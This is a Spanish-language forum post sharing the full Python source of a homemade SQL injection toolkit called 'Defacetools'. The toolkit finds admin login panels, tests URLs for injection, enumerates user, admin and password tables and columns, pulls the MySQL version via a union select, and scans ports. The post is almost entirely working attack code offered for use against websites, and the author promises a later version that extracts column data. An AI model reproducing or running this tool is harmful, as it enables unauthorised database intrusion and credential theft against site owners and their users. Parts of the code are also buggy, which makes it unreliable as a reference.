El programa consta de las siguientes características:
----> Admin Panel Finder
----> Check Vulnerability
----> Ascii To Hex
----> Ascii To Binary
----> Show Tables
----> Show Columns
----> Show Version DB
----> Port Scanner
----> View Web Code
Recuerdo que el programa no es sustituto de nuestras manos y solo sirve para inyecciones que salgan redondas, sin necesidad de modificar algún carácter o cualquier detalle mínimo.
Dejo aquí el code
Código
#!/usr/bin/env python # -*- coding: utf-8 -*- # Autor: Rune # Fecha: 17/03/12 #::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: import urllib,os,string def check_ports(): #Funcion de escaneo de puertos print """ _____ _ _____ | __ \ | | / ____| | |__) |___ _ __| |_ | (___ ___ __ _ _ __ _ __ ___ _ __ | ___// _ \| '__| __| \___ \ / __|/ _` | '_ \| '_ \ / _ \ '__| | | | (_) | | | |_ ____) | (__| (_| | | | | | | | __/ | |_| \___/|_| \__| |_____/ \___|\__,_|_| |_|_| |_|\___|_| """ tablapuertos = [] errores = ["error","Error","inactiva","Inactiva","no ha podido establecer","!Vaya\xc2"] print "\n\n [+] Port Scanner [+]" print "\n[+] Introduce la web objetivo" target = raw_input("\nTarget>") print "\n[+] Escaneando puertos, puede llevar varios minutos..." print "\n[+] Puertos escaneados:\n" for puerto in range(0,65535): # Rango de 0, al total de puertos existente try: x = urllib.urlopen(target+":"+str(puerto)) for error in errores: if error in x.read(): tablapuertos.append(puerto) print "Puerto " + str(puerto) except: print "[-] No se ha podido establecer conexion con el servidor" raw_input() os.system("clear") init() if string.join(tablapuertos) == "": print "[-] No se ha encontrado abierto ningun puerto" raw_input() os.system("clear") init() else: print "\n [+] Puertos Abiertos [+]\n" for elemento in tablapuertos: print "----> " + elemento def show_version(): # Funcion Mostrar Version print """ _____ _ __ __ _ / ____| | \ \ / / (_) | (___ | |__ _____ __ \ \ / /___ _ __ ___ _ ___ _ __ \___ \| '_ \ / _ \ \ /\ / / \ \/ // _ \ '__/ __| |/ _ \| '_ \ ____) | | | | (_) \ V V / \ /| __/ | \__ \ | (_) | | | | |_____/|_| |_|\___/ \_/\_/ \/ \___|_| |___/_|\___/|_| |_| """ print "\n\n [+] Show Version [+]" tablaversiones = ["3.23","4.0.0","4.0.3","4.0.6","4.0.12","4.0.24","4.0.30","4.1.0","4.1.3","4.1.4","4.1.7","4.1.9","4.1.18","4.1.23","4.1.23","4.1.25","5.0.0","5.0.1","5.0.3","5.0.13","5.0.15","5.0.19","5.0.30","5.0.50","5.0.76","5.0.90","5.0.91","5.1.3","5.1.5","5.1.15","5.1.22","5.1.30","5.1.31","5.1.43","5.5.0","5.5.3"] # Tablaversiones contiene todas las versiones de MySql hasta la actualidad print "\n[+] Introduce la web objetivo" version = "" web = raw_input("Target>") inyeccion = web + " and 1=0 union select @@version" try: t = urllib.urlopen(inyeccion).read() for versionx in tablaversiones: if versionx in t: version = version + versionx if version != "": print "\n[+] La version del servidor SQL es --> " + version raw_input() os.system("clear") init() else: print "\n[-] No se ha podido indentificar la version" raw_input() os.system("clear") init() except: print "\n[-] No se ha podido realizar la inyeccion, compruebe la url" raw_input() os.system("clear") init() def show_columns2(): # Funcion Muestra columnas redireccionada desde init() print """ _____ __ ______ __ / ___// /_ ____ _ __ / ____/____ / /__ ______ ___ ____ _____ \__ \/ __ \/ __ \ | /| / / / / / __ \/ // / / / __ `__ \/ __ \/ ___/ ___/ / / / / /_/ / |/ |/ / / /___ / /_/ / // /_/ / / / / / / / / (__ ) /____/_/ /_/\____/|__/|__/ \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/ """ print "\n\n [+] Show Columns [+]" columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"] # Las columnas mas frecuentes con informacion importante ;) column = [] # Lista donde se guardaran las columnas encontradas print "\n[+] Inserte la web objetivo" web = raw_input("Target>") try: s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo) except: print "\n[-] No se ha podido conectar con el servidor" raw_input() os.system("clear") init() print "\n [/] Inserte la tabla que desea investigar" table = raw_input(">") for elemento in columnas: inyeccion = web + " and (select(count("+elemento+")) from " + table + ");" x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos column.append(elemento)# Anadimos la columna, con la cual el codigo no varia a la lista column if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas print "\n\n [+] Columnas Encontradas [+] " for elementoxs in column: print "----> " + elementoxs #Las muestra raw_input() os.system("clear") init() else: # Si la lista esta vacia, columnas 0 print "\n\n [-] No se ha encontrado ninguna columna de usuario" raw_input() os.system("clear") init() def show_columns1(web,tabla): # Funcion mostrar columnas, redireccionada desde show_tables() print """ _____ __ ______ __ / ___// /_ ____ _ __ / ____/____ / /__ ______ ___ ____ _____ \__ \/ __ \/ __ \ | /| / / / / / __ \/ // / / / __ `__ \/ __ \/ ___/ ___/ / / / / /_/ / |/ |/ / / /___ / /_/ / // /_/ / / / / / / / / (__ ) /____/_/ /_/\____/|__/|__/ \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/ """ print "\n\n [+] Show Columns [+]" columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"] # Las columnas mas frecuentes con informacion importante ;) column = [] # Lista donde se guardaran las columnas encontradas print "\n [+] Tablas [+]" for el in tabla: # Mostramos las tablas anteriormente encontradas para la visualizacion del usuario print "----> " + el try: s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo) except: print "\n[-] No se ha podido conectar con el servidor" raw_input() os.system("clear") init() print "\n [/] Inserte la tabla que desea investigar" table = raw_input(">") for elemento in columnas: inyeccion = web + " and (select(count("+elemento+")) from " + table + ");" x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos column.append(elemento) # Anadimos la columna, con la cual el codigo no varia a la lista column if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas print "\n\n [+] Columnas Encontradas [+] " for elementoxs in column: print "----> " + elementoxs # Las muestra raw_input() os.system("clear") init() else: # Si la lista esta vacia, columnas 0 print "\n\n [-] No se ha encontrado ninguna columna de usuario" raw_input() os.system("clear") init() def view_code(): print """ _____ _ __ ___ / ____| | | \ \ / (_) | | ___ __| | ___ \ \ / / _ _____ __ | | / _ \ / _` |/ _ \ \ \/ / | |/ _ \ \ /\ / / | |____| (_) | (_| | __/ \ / | | __/\ V V / \_____|\___/ \__,_|\___| \/ |_|\___| \_/\_/ """ print "\n\n [+] View Code [+]" print "\n[+] Inserte la url de la web" print "[+] El codigo tambien se guardara en un archivo" url = raw_input("\nTarget>") # Introducimos la web objetivo try: x = urllib.urlopen(url).read() # Abrimos la web en modo lectura except: print "\n[-] La url no es valida" raw_input() os.system("clear") init() print x web = url.replace("/","") # Creamos una variable que sistituya los / por espacios en blanco para poder guardar el archivo f = open(web+".txt","w") # Creamos un archivo con el nombre de la web en extension .txt f.write(x) # Escribimos el codigo sobre el f.close() # Y cerramos print "\n[+] Pulse cualquier tecla para volver..." raw_input() os.system("clear") init() def vuln2(web): # Funcion de chequeo de vulnerabilidades 2 print """ _ __ __ __ _ ___ __ | | / /__ __/ /____ ___ _________ _/ /_ (_) (_) /___ __ | | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / / | |/ // /_/ / // / / / __/ / / /_/ / /_/ / / / / /_/ /_/ / |___/ \__,_/_//_/ /_/\___/_/ \__,_/_.___/_/_/_/\__/\__, / /____/ """ print "\n\n [+] Check Vulnerability [+]" print "\n[+] Relizando un segundo escaneo..." errores = ["Warning","Sql","MySql","warning","sql","SQL","MySQL"] variable = 0 inyeccion = web + "'" # Declaramos la inyeccion, que sera igual que la web con comillas simples al final try: vulnerable = urllib.urlopen(inyeccion) # Abrimos la web for error in errores: if error in vulnerable.read(): # Y por cada error en la lista errores, si este error existe en el codigo, le sumamos 1 a variable variable = variable + 1 if variable != 0: # Si variable es diferente de cero, indica que ha encontrado errores en el codigo, por tanto sera vulnerable print "\n[+] El segundo escaneo indica que es vulnerable sin embargo, es de poca fiabilidad" raw_input() os.system("clear") init() else: # Al ser la variable igual que 0, no ha encontrado ningun error, y no es vulnerable print "\n[-] Definitivamente la web no es vulnerable" raw_input() os.system("clear") init() except: print " [-] Error en la comprobacion reeintente" raw_input() os.system("clear") init() def show_tables(): # Funcion Muestra Tablas print """ _____ __ ______ __ __ / ___// /_ ____ _ __ /_ __/____ _/ /_ / /___ _____ \__ \/ __ \/ __ \ | /| / / / / / __ `/ __ \/ // _ \/ ___/ ___/ / / / / /_/ / |/ |/ / / / / /_/ / /_/ / // __(__ ) /____/_/ /_/\____/|__/|__/ /_/ \__,_/_.___/_/ \___/____/ """ print "\n\n [+] Show Tables [+]" tablas = ["users","admin","administrador","administrator","user","members","member","adm","nombres","cuentas","accounts","usuarios","wp-admin","wp-users"] # Tablas de usuarios mas frecuentes ;) tabla = [] # Lista vacia para almacenar las tablas encontradas web = raw_input("\n\n[/]Target>") print "[+] Localizando tablas de usuarios..." try: s = urllib.urlopen(web).read() # Abrimos la web inicial en modo lectura except: print "[-] No se ha podido conectar al servidor, revise la url" raw_input() os.system("clear") init() for elemento in tablas: inyeccion = " and (select(count(*)) from " + elemento + ");" # Declaramos el codigo de la inyeccion try: t = urllib.urlopen(web+inyeccion).read() # Abrimos la url de la web + inyeccion en modo lectura except: print "\n[-] No se ha podido realizar la inyeccion" raw_input() os.system("clear") init() if t == s: # Si el codigo no varia, la tabla es la que buscabamos tabla.append(elemento) # Insertamos la tabla localizada en la lista vacia print "\n\n [+] Tablas Encontradas [+] " for el1 in tabla: # Y aqui las imprimimos print "---> " + el1 print "\n[+] Quiere continuar extrayendo las columnas?" # Ahora nos da opcion de continuar o no con las columnas, si continuamos nos redirige a show_columns1() print "0 ----> Si" print "1 ----> No" lecc = input("\n>") if lecc == 0: os.system("clear") show_columns1(web,tabla) else: os.system("clear") init() def textTobin(): # Funcion encargada de convertir ascii a binario print """ ___ _ _ _____ ______ _ / _ \ (_|_) |_ _| | ___ (_) / /_\ \___ ___ _ _ | | ___ | |_/ /_ _ __ | _ / __|/ __| | | | |/ _ \ | ___ \ | '_ \ | | | \__ \ (__| | | | | (_) | | |_/ / | | | | \_| |_/___/\___|_|_| \_/\___/ \____/|_|_| |_|""" print "\n\n [+] Ascii To Bin [+]" bina = '' textoa = raw_input("\n\n[/] Texto Ascii>") print "\n[+] Conversion [+]" for letra in textoa: # Por cada letra en la cadena, convertimos cada una en binario y posteriormente las concatenamos bina = bina + bin(ord(letra)) bina = bina.replace('b','') #Sustituyendo las 'b' creadas por espacios en blanco print bina raw_input() os.system("clear") init() def textTohex(): # Funcion encargada de convertir ascii a hexadecimal print """ ______ __ ______ __ __ /_ __/___ _ __/ /_ /_ __/____ / / / /___ _ __ / / / _ \ | |/_/ __/ / / / __ \ / /_/ // _ \ | |/_/ / / / __/_> </ /_ / / / /_/ / / __ // __/_> < /_/ \___//_/|_|\__/ /_/ \____/ /_/ /_/ \___//_/|_|""" print "\n\n [+] Ascii To Hex [+]" textoa = raw_input("\n\n[/]Texto Ascii>") hexa = '' print "\n[+] Conversion [+]" for letra in textoa: # Por cada letra en la cadena, convertimos cada una en hexadecimal y posteriormente las concatenamos hexa = hexa + hex(ord(letra)) hexa = "0x%s" %hexa.replace('0x','') # Sustituyendo los '0x' creados por espacios en blanco menos el primero print hexa raw_input() os.system("clear") init() def check_vuln(): # Funcion de chequeo de vulnerabilidades SQL print """ _ __ __ __ _ ___ __ | | / /__ __/ /____ ___ _________ _/ /_ (_) (_) /___ __ | | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / / | |/ // /_/ / // / / / __/ / / /_/ / /_/ / / / / /_/ /_/ / |___/ \__,_/_//_/ /_/\___/_/ \__,_/_.___/_/_/_/\__/\__, / /____/ """ print "\n\n [+] Check Vulnerability [+]" web = raw_input("\n\n[/]Target>") print "\n[+] Comprobando vulnerabilidad" comando1 = " and 1=1" # Comandos de la inyeccion 1 comando2 = " and 1=0" # Comandos de la inyeccion 2 try: # Abrimos las diferentes urls, para compararlas posteriormente n = urllib.urlopen(web).read() p = urllib.urlopen(web+comando1).read() t = urllib.urlopen(web+comando2).read() if p != t and p==n: # Si la inyeccion and 1=1 es igual al codigo de la web normal y es diferente al codigo de 1 = 0 es Vulnerable print "\n[+] El servidor es vulnerable a SQL, continue con la inyeccion" raw_input() os.system("clear") init() else: # De lo contrario la web no es vulnerable y nos da la opcion de realizar un 2 escaneo print "\n[-] El servidor no es vulnerable a SQL en su primer escaneo, quiere realizar un segundo?" print "\n0---->Si" print "1---->No" eleccion = input("\n>") if eleccion == 0: os.system("clear") vuln2(web) else: raw_input() os.system("clear") init() except: print "[-] No se ha podido conectar al servidor, revise la Url" raw_input() os.system("clear") init() def buscaPanel(): # Funcion que localizara el admin panel print """ ____ __ _______ __ / __ \____ _____ ___ / / / ____(_)____ ____/ /___ _____ / /_/ / __ `/ __ \/ _ \/ / / /_ / // __ \/ __ // _ \/ ___/ / ____/ /_/ / / / / __/ / / __/ / // / / / /_/ // __/ / /_/ \__,_/_/ /_/\___/_/ /_/ /_//_/ /_/\__,_/ \___/_/ """ print "\n\n [+] Admin Panel Finder [+]" s = raw_input("\n\n[/]Target>") # Introducimos la web a investigar f = open("Paneles.txt","r") #Abrimos el archivo Paneles.txt que contiene los paneles mas frecuentes tabla =[] i = 0 try: p = urllib.urlopen(s + "/dasfdsdvd").read() # Leemos el codigo de una pagina inexistente en la web print "[+] Buscando paneles, esta busqueda puede tomar varios segundos/minutos" for elemento in f.readlines(): # Leemos las lineas del archivo de texto, cada linea contiene un panel t = urllib.urlopen(s+elemento).read() # Y abrimos en modo lectura, la url de la web + el panel if t != p: # Si el codigo del panel es diferente al de la web inexistente, Bingo! (Problema) Puede mostrar errores distintos, "mejorar nueva version" tabla2 = tabla.insert(i,elemento) # Guarda en una lista los paneles encontrados print "\n [+] Paneles encontrados:\n" for x in tabla: print s + x # Y aqui los muestra raw_input() os.system("clear") init() except: print "[-] Ningun Panel Encontrado / Web invalida" raw_input() os.system("clear") init() def init(): print """ ____ ____ __ __ / __ \___ / __/____ _________ / /_____ ____ / /_____ / / / / _ \/ /_ / __ `/ ___/ _ \ / __/ __ \/ __ \/ // ___/ / /_/ / __/ __// /_/ / /__/ __/ / /_/ /_/ / /_/ / /(__ ) /_____/\___/_/ \__,_/\___/\___/ \__/\____/\____/_//____/ """ print "\n\n [+] Menu Principal[+]\n " print "0------> Admin Panel Finder" print "1------> Check Vulnerability" print "2------> Ascii To Hex" print "3------> Ascii To Binary" print "4------> Show Tables" print "5------> Show Columns" print "6------> Show Version DB" print "7------> Port Scanner" print "8------> View Web Code\n" eleccion = input("[/] Que desea hacer?>") if eleccion == 0: os.system("clear") buscaPanel() elif eleccion == 1: os.system("clear") check_vuln() elif eleccion == 2: os.system("clear") textTohex() elif eleccion == 3: os.system("clear") textTobin() elif eleccion == 4: os.system("clear") show_tables() elif eleccion == 5: os.system("clear") show_columns2() elif eleccion == 6: os.system("clear") show_version() elif eleccion == 7: os.system("clear") check_ports() elif eleccion == 8: os.system("clear") view_code() else: print "[-] El numero introducido no es valido" raw_input() os.system("clear") init() init() # The End!
Y eso es todo compañeros, espero que sea de vuestro agrado, hay algunos errores, pero generalmente funciona bien.
En posteriores versiones implementaré la opción de extraer datos de las columnas
Un saludo